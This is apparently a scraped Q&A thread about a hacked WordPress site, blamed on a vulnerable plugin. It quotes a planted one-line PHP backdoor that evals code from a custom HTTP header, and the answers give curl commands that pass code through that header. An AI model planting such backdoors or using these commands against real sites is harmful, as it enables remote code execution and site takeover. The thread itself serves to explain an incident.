【问题标题】:Can a hacker pass in parameters to $_SERVER?黑客可以将参数传递给 $_SERVER 吗?
【发布时间】:2020-10-22 21:09:17
【问题描述】:

所以我们的网站不幸被黑了。

他们在我们的 wp-admin 目录中创建了一个名为 wp-update.php 的文件,其中包含以下代码:

<?php @eval($_SERVER['HTTP_4CD44849DA572F7C']); ?>

我的问题是黑客如何使用 $_SERVER 传入他的脚本?

【问题讨论】:

  • 我最近在我的 wp-admin 文件夹中发现了相同的文件,代码如下: 您是否愿意比较我们两个网站上安装的插件,看看哪些是易受攻击的?
  • 更新:经过进一步调查,黑客攻击是 Adning Advertising 插件的结果。尽快更新到 1.5.6 版本。
  • @Zeno 抱歉回复晚了,我们目前正在调查 Adning 并已联系作者和 Envato 本身。如需更多信息,请参考本主题:wordpress.org/support/topic/wp-admin-wp-update-a-virus

标签: php wordpress security server


【解决方案1】:

是的,黑客可以将数据发送到 $_SERVER,它包含 HTTP 标头(参见the documentation),您可以通过一个简单的 curl 命令注入数据。

curl -H '4CD44849DA572F7C: echo "hello from server";' http://example.com

【讨论】:

    【解决方案2】:

    名称以HTTP_ 开头的超全局$_SERVER 的属性只是HTTP 请求标头的表示。

    由于请求标头完全由发出请求的人控制,因此在此处插入数据是微不足道的。

    任何 HTTP 客户端都会让攻击者指定他们喜欢的任何标头。 cURL 的命令行客户端中的示例如下所示:

    curl -H "4CD44849DA572F7C: code goes here" http://example.com/your-hacked.php
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2013-01-05
      • 1970-01-01
      • 1970-01-01
      • 2013-11-18
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多